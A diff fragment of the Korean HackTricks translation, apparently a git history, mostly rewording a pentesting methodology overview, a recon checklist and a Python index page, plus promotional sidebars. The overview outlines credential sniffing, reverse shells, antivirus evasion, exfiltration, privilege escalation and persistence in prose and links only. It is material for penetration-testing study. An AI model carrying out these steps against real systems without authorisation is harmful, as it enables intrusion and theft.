||||
4. 도메인의 **모든 서브도메인**을 찾았습니다 (서브도메인 탈취가 있었나요?).
|
||||
5. 범위 내의 **모든 IP** (CDN에서 **아닌 것도**)를 찾았습니다.
|
||||
5. 범위 내의 **모든 IP** (CDN에서 **아닌 것 포함**)를 찾았습니다.
|
||||
6. **웹 서버**를 모두 찾아 **스크린샷**을 찍었습니다 (더 깊게 살펴볼 가치 있는 이상한 것이 있나요?).
|
||||
7. 회사에 속한 **잠재적인 공개 클라우드 자산**을 모두 찾았습니다.
|
||||
8. **큰 승리를 쉽게 가져다 줄 수 있는** **이메일**, **자격 증명 누출**, **비밀 누출**을 찾았습니다.
|
||||
8. **큰 승리를 쉽게 가져다 줄 수 있는 이메일**, **자격 증명 누출**, **비밀 누출**을 찾았습니다.
|
||||
9. 찾은 모든 웹을 **펜테스팅**했습니다.
|
||||
|
||||
## **전체 Recon 자동 도구**
|
||||
|
||||
주어진 범위에 대해 제안된 작업의 일부를 수행할 수 있는 여러 도구가 있습니다.
|
||||
주어진 범위에 대해 제안된 작업의 일부를 수행하는 여러 도구가 있습니다.
|
||||
|
||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
@ -636,7 +628,7 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
|
|||
|
||||
* [**@Jhaddix**](https://twitter.com/Jhaddix)의 모든 무료 강좌, [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)와 같은 것들
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_폴란드어 유창한 작문 및 구사 능력 필요_).
|
||||
|
||||
|
@ -644,14 +636,14 @@ _일반 Google 브라우저를 사용하여 데이터베이스 전체를 실행
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 AWS 해킹 전문가가 되기 위한</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>로 배우세요!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks를 광고하길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks를 광고하길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
|
@ -28,24 +28,24 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
### 0- 물리적 공격
|
||||
|
||||
**공격하려는 기기에 물리적 액세스**가 있습니까? [**물리적 공격에 대한 트릭**](../physical-attacks/physical-attacks.md) 및 [**GUI 애플리케이션에서 탈출하는 방법**](../physical-attacks/escaping-from-gui-applications/)을 읽어보세요.
|
||||
**공격하려는 기기에 물리적 액세스**가 있습니까? [**물리적 공격에 대한 트릭**](../physical-attacks/physical-attacks.md) 및 [**GUI 애플리케이션에서 탈출하는 방법**](../physical-attacks/escaping-from-gui-applications)을 읽어보세요.
|
||||
|
||||
### 1 - [네트워크 내 호스트 발견](pentesting-network/#discovering-hosts)/ [회사 자산 발견](external-recon-methodology/)
|
||||
### 1 - [네트워크 내의 호스트 발견](pentesting-network/#discovering-hosts)/ [회사 자산 발견](external-recon-methodology/)
|
||||
|
||||
**수행 중인 테스트가 내부 또는 외부 테스트인지에 따라** **회사 네트워크 내 호스트를 찾는 것** (내부 테스트) 또는 **인터넷 상의 회사 자산을 찾는 것** (외부 테스트)에 관심이 있을 수 있습니다.
|
||||
**수행 중인 테스트가 내부 또는 외부 테스트인지에 따라** **회사 네트워크 내의 호스트** (내부 테스트) 또는 **인터넷 상의 회사 자산**을 찾는 것이 관심사일 수 있습니다.
|
||||
|
||||
{% hint style="info" %}
|
||||
외부 테스트를 수행하는 경우, 회사의 내부 네트워크에 액세스한 후에는이 가이드를 다시 시작해야합니다.
|
||||
외부 테스트를 수행하는 경우, 회사의 내부 네트워크에 액세스하게 되면이 가이드를 다시 시작해야합니다.
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**네트워크에서 재미있는 시간**](pentesting-network/) **(내부)**
|
||||
### **2-** [**네트워크에서 재미있는 시간 보내기**](pentesting-network/) **(내부)**
|
||||
|
||||
**이 섹션은 내부 테스트를 수행하는 경우에만 해당됩니다.**\
|
||||
호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을 훔치거나** 네트워크 내부에서 무엇을 찾을 수 있는지 **수동/능동적(MitM)**으로 알아보기 위해 **데이터를 스니핑**하는 것이 좋습니다. [**펜테스팅 네트워크**](pentesting-network/#sniffing)를 읽어보세요.
|
||||
호스트를 공격하기 전에 **네트워크에서 일부 자격 증명을 훔치거나** 네트워크 내부에서 무엇을 찾을 수 있는지 **수동/능동적(MitM)**으로 알아보기 위해 **데이터를 스니핑**하는 것이 좋을 수 있습니다. [**펜테스팅 네트워크**](pentesting-network/#sniffing)를 읽어보세요.
|
||||
|
||||
### 3- [포트 스캔 - 서비스 발견](pentesting-network/#scanning-hosts)
|
||||
|
||||
**호스트의 취약점을 찾을 때 처음 해야 할 일은 어떤 포트에서 어떤 서비스가 실행 중인지 알아내는 것**입니다. [**호스트의 포트를 스캔하는 데 사용되는 기본 도구**](pentesting-network/#scanning-hosts)를 살펴봅시다.
|
||||
**호스트의 취약점을 찾을 때 처음 해야 할 일은** 어떤 **서비스가 어떤 포트에서 실행 중인지 알아내는 것**입니다. [**호스트의 포트를 스캔하는 데 사용되는 기본 도구**](pentesting-network/#scanning-hosts)를 살펴봅시다.
|
||||
|
||||
### **4-** [서비스 버전 취약점 검색](search-exploits.md)
|
||||
|
||||
|
@ -55,30 +55,30 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
실행 중인 서비스에 대한 멋진 취약점이 없는 경우, 각 서비스에서 **일반적인 구성 오류를 찾아야 합니다**.
|
||||
|
||||
**이 책에서는 가장 일반적인 서비스를 펜테스트하는 가이드를 찾을 수 있습니다** (일반적이지 않은 서비스도 포함됨)**. 왼쪽 색인에서** _**PENTESTING**_ **섹션을 찾아보세요** (서비스는 기본 포트별로 정렬됨).
|
||||
**이 책에서는 가장 일반적인 서비스를 펜테스트하는 가이드를 찾을 수 있습니다** (그리고 일반적이지 않은 서비스도 있음)**. 왼쪽 색인에서** _**PENTESTING**_ **섹션을 찾으세요** (서비스는 기본 포트에 따라 정렬됨).
|
||||
|
||||
**가장 넓은 부분인** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 대해 특별히 언급하고 싶습니다.**\
|
||||
**가장 포괄적인 부분인** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **부분에 대해 특별히 언급하고 싶습니다.**\
|
||||
또한 여기에서 [**소프트웨어에서 알려진 취약점을 찾는 방법에 대한 작은 가이드**](search-exploits.md)를 찾을 수 있습니다.
|
||||
|
||||
**색인에 서비스가 없는 경우 Google에서** 다른 자습서를 찾아보고 **추가하길 원한다면 알려주세요**. Google에서 아무것도 찾을 수 없는 경우 **자체 블라인드 펜테스팅**을 수행할 수 있습니다. 서비스에 연결하여 **퍼징하고 응답을 읽는 것**으로 시작할 수 있습니다.
|
||||
**색인에 서비스가 없는 경우 Google에서** 다른 자습서를 찾아보고 **추가하길 원한다면 알려주세요.** Google에서 아무것도 찾을 수 없다면 **자체 블라인드 펜테스팅**을 수행하세요. 서비스에 연결하여 퍼징하고 응답을 읽는 것부터 시작할 수 있습니다.
|
||||
|
||||
#### 5.1 자동 도구
|
||||
|
||||
**자동 취약점 평가를 수행할 수 있는 여러 도구**도 있습니다. **이 책에서 찾을 수 있는 서비스 펜테스트에 관한 노트를 기반으로 한** [**Legion**](https://github.com/carlospolop/legion)**을 시도해보는 것을 권장합니다.**
|
||||
**자동 취약점 평가를 수행할 수 있는 여러 도구도 있습니다.** **[Legion](https://github.com/carlospolop/legion)**을 시도해보는 것을 권장합니다. 이 도구는 이 책에서 찾을 수 있는 서비스 펜테스팅에 관한 노트를 기반으로 만들어졌습니다.
|
||||
|
||||
#### **5.2 서비스 브루트 포싱**
|
||||
|
||||
일부 시나리오에서 **브루트 포스**가 **서비스를 침투하는 데 유용**할 수 있습니다. [**다양한 서비스 브루트 포싱에 대한 치트 시트를 여기에서 찾을 수 있습니다**](brute-force.md)**.**
|
||||
일부 시나리오에서 **브루트 포스**가 **서비스를 침투하는 데 유용**할 수 있습니다. [**다양한 서비스 브루트 포싱의 치트 시트를 여기에서 찾을 수 있습니다**](brute-force.md)**.**
|
||||
|
||||
### 6- [피싱](phishing-methodology/)
|
||||
|
||||
이 시점에서 흥미로운 취약점을 찾지 못했다면 네트워크에 들어가기 위해 **일부 피싱을 시도**해야 할 수 있습니다. 피싱 방법론은 [여기](phishing-methodology/)에서 확인할 수 있습니다.
|
||||
이 시점에서 흥미로운 취약점을 찾지 못했다면 네트워크에 들어가기 위해 **일부 피싱을 시도**해야 할 수 있습니다. 제 피싱 방법론은 [여기](phishing-methodology/)에서 읽을 수 있습니다.
|
||||
|
||||
### **7-** [**쉘 획득**](shells/)
|
||||
|
||||
피해자에서 코드를 실행할 방법을 어떻게든 찾아야 합니다. 그런 다음, **역쉘을 얻기 위해 시스템 내에서 사용할 수 있는 도구 목록이 매우 유용**할 것입니다(shells/).
|
||||
어떤 방법으로든 피해자에서 코드를 실행할 수 있어야 합니다. 그런 다음, 피해자 시스템 내에서 **역쉘을 얻기 위해 사용할 수 있는 도구 목록**이 매우 유용할 것입니다.
|
||||
|
||||
특히 Windows에서 **안티바이러스를 피하기 위한 도움이 필요**할 수 있습니다: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\
|
||||
특히 Windows에서 **안티바이러스를 피하는 데 도움이 필요**할 수 있습니다: [**이 페이지를 확인하세요**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
### 8- 내부
|
||||
|
||||
|
@ -90,25 +90,25 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
### **9 -** [**유출**](exfiltration.md)
|
||||
|
||||
피해자로부터 **일부 데이터를 추출**하거나 권한 상승 스크립트와 같은 것을 **삽입**해야 할 수도 있습니다. 이러한 목적으로 사용할 수 있는 **일반 도구에 대한 포스트**를 [**여기에서 확인하세요**](exfiltration.md)**.**
|
||||
피해자로부터 **일부 데이터를 추출**하거나 권한 상승 스크립트와 같은 것을 **소개**해야 할 수도 있습니다. 이러한 목적으로 사용할 수 있는 **일반 도구에 대한 포스트**를 [여기에서 확인하세요](exfiltration.md)**.**
|
||||
### **10- 권한 상승**
|
||||
|
||||
#### **10.1- 로컬 권한 상승**
|
||||
|
||||
박스 안에서 **루트/Administrator가 아닌 경우** 권한을 **상승시키는 방법을 찾아야** 합니다.\
|
||||
여기서 [**Linux**](../linux-hardening/privilege-escalation/) **및** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **에서 로컬 권한 상승하는 가이드를 찾을 수 있습니다.**\
|
||||
또한 **Windows 작동 방식에 대한** 이 페이지들을 확인해야 합니다:
|
||||
여기서 **Linux**에서 로컬로 권한 상승하는 방법을 찾을 수 있는 **가이드**와 [**Windows**](../windows-hardening/windows-local-privilege-escalation/)에서 권한 상승하는 방법을 찾을 수 있는 **가이드**를 찾을 수 있습니다.\
|
||||
또한 **Windows 작동 방식**에 대해 다음 페이지를 확인해야 합니다:
|
||||
|
||||
* [**인증, 자격 증명, 토큰 권한 및 UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* [**NTLM 작동 방식**](../windows-hardening/ntlm/)
|
||||
* Windows에서 [**자격 증명을 탈취하는 방법**](broken-reference/)
|
||||
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)에 관한 몇 가지 요령
|
||||
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)에 대한 몇 가지 요령
|
||||
|
||||
**Windows 및 Linux 로컬 권한 상승 경로를 열거하는 최고의 도구를 확인하는 것을 잊지 마세요:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- 도메인 권한 상승**
|
||||
|
||||
여기서 [**Active Directory를 열거하고 권한을 상승시키고 지속시키는 가장 일반적인 작업을 설명하는 방법론을 찾을 수 있습니다**](../windows-hardening/active-directory-methodology/). 이것이 섹션의 하위 항목에 불과하더라도, 이 프로세스는 **펜테스팅/레드팀 과제에서 매우 민감**할 수 있습니다.
|
||||
여기서 [**Active Directory를 열거하고 권한을 상승시키고 지속하는 가장 일반적인 작업을 설명하는 방법론**](../windows-hardening/active-directory-methodology/)을 찾을 수 있습니다. 이것은 섹션의 하위 항목에 불과하더라도, 이 프로세스는 Pentesting/Red Team 과제에서 **매우 민감**할 수 있습니다.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
|
@ -119,27 +119,27 @@ _Hacktricks 로고는_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_
|
|||
|
||||
#### 11.2 - 지속성
|
||||
|
||||
**시스템을 다시 악용할 필요가 없도록 2개 또는 3개의 다른 유형의 지속성 메커니즘을 사용하세요.**\
|
||||
**여기서 [**Active Directory에서 지속성 요령**](../windows-hardening/active-directory-methodology/#persistence)을 찾을 수 있습니다.**
|
||||
**시스템을 다시 공격할 필요가 없도록 2개 또는 3개의 다른 유형의 지속성 메커니즘을 사용하세요.**\
|
||||
여기서 [**Active Directory에서 지속성 요령**](../windows-hardening/active-directory-methodology/#persistence)을 찾을 수 있습니다.
|
||||
|
||||
TODO: Windows 및 Linux에서 지속성 포스트 완성
|
||||
|
||||
### 12 - Pivoting
|
||||
|
||||
**수집된 자격 증명**으로 다른 기기에 액세스할 수도 있고, 혹은 피해자가 연결된 새 네트워크 내에서 새로운 호스트를 **발견하고 스캔해야 할 수도** 있습니다 (펜테스팅 방법론을 다시 시작).\
|
||||
이 경우 터널링이 필요할 수 있습니다. [**터널링에 대한 글**](tunneling-and-port-forwarding.md)을 여기서 찾을 수 있습니다.\
|
||||
반드시 [Active Directory 펜테스팅 방법론에 대한 글](../windows-hardening/active-directory-methodology/)도 확인해야 합니다. 거기에서 측면 이동, 권한 상승 및 자격 증명 덤프에 대한 멋진 요령을 찾을 수 있습니다.\
|
||||
[**NTLM에 대한 페이지**](../windows-hardening/ntlm/)도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다.
|
||||
**수집된 자격 증명**으로 다른 기기에 액세스할 수도 있고, 혹은 피해자가 연결된 새 네트워크 내에서 새로운 호스트를 **발견하고 스캔해야 할 수도** 있습니다 (Pentesting Methodology를 다시 시작).\
|
||||
이 경우 터널링이 필요할 수 있습니다. 여기서 [**터널링에 대해 이야기하는 포스트**](tunneling-and-port-forwarding.md)를 찾을 수 있습니다.\
|
||||
반드시 [Active Directory Pentesting Methodology](../windows-hardening/active-directory-methodology/)에 대한 포스트도 확인해야 합니다. 거기에서 측면으로 이동하고 권한을 상승시키며 자격 증명을 덤프하는 멋진 요령을 찾을 수 있습니다.\
|
||||
[**NTLM**](../windows-hardening/ntlm/)에 대한 페이지도 확인하세요. Windows 환경에서 피벗하는 데 매우 유용할 수 있습니다.
|
||||
|
||||
### 더 보기
|
||||
|
||||
#### [Android 애플리케이션](../mobile-pentesting/android-app-pentesting/)
|
||||
|
||||
#### **악용**
|
||||
#### **Exploiting**
|
||||
|
||||
* [**기본 Linux 악용**](../exploiting/linux-exploiting-basic-esp/)
|
||||
* [**기본 Windows 악용**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**기본 악용 도구**](../exploiting/tools/)
|
||||
* [**기본 Linux Exploiting**](../exploiting/linux-exploiting-basic-esp/)
|
||||
* [**기본 Windows Exploiting**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**기본 exploiting 도구**](../exploiting/tools/)
|
||||
|
||||
#### [**기본 Python**](python/)
|
||||
|
||||
|
@ -149,9 +149,9 @@ TODO: Windows 및 Linux에서 지속성 포스트 완성
|
|||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**패딩 오라클**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**해킹 경력에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - 우리는 채용 중입니다!** (_구사할 수 있는 폴란드어 필수_).
|
||||
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -161,10 +161,10 @@ TODO: Windows 및 Linux에서 지속성 포스트 완성
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **당신의 해킹 요령을 공유하세요**.
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,52 +2,52 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제를 확인하세요**](https://github.com/sponsors/carlospolop)!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**확인할만한 페이지:**
|
||||
**확인할 흥미로운 페이지:**
|
||||
|
||||
* [**Pyscript 해킹 트릭**](pyscript.md)
|
||||
* [**Python 역직렬화**](../../pentesting-web/deserialization/#python)
|
||||
* [**Python 직렬화**](../../pentesting-web/deserialization/#python)
|
||||
* [**Python 샌드박스 우회 트릭**](bypass-python-sandboxes/)
|
||||
* [**기본 Python 웹 요청 구문**](web-requests.md)
|
||||
* [**기본 Python 구문 및 라이브러리**](basic-python.md)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제를 확인하세요**](https://github.com/sponsors/carlospolop)!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
